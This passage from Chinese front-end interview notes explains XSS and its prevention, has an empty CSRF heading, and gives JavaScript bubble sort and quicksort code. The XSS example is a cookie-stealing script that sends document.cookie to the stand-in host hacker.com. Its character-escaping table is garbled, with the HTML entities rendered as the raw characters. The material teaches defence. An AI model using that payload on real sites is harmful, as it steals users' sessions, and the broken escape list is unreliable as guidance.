- 恶意代码被执行,这就是XSS
div.innerHTML = userComment
//userComment 内容是<script>$.get('http://hacker.com?cookie='+document.cookie')</script>
- 预防
- 不要使用innerHTML,改成innerText
- 如果一定用innerHTML,就需要进行字符过滤
- 把 < 改为
<
, - 把 > 改为
>
, - 把 & 改为
&
- 把 ' 改为
'
- 把 " 改为
"
- 把 < 改为
- 代码 div.innerHTML = userComment.replace(/>/g,'
<
').replace...
9.2 CSRF攻击?如何预防?
十、算法
10.1 冒泡排序
function bubbleSort(arr) {
var len = arr.length;
for (var i = 0; i < len - 1; i++) {
for (var j = 0; j < len - 1 - i; j++) {
if (arr[j] > arr[j+1]) { // 相邻元素两两对比
var temp = arr[j+1]; // 元素交换
arr[j+1] = arr[j];
arr[j] = temp;
}
}
}
return arr;
}
10. 2 快速排序
function quickSort(arr) {
if(arr.length <=1){
return arr
}
let left = []
let right = []
let current = arr.splice(0,1)
for(let i = 0;i<arr.length;i++){
if(arr[i]<current){
left.push(arr[i])
}else{
right.push(arr[i])
}
}
return quickSort(left).concat(current,quickSort(right))
}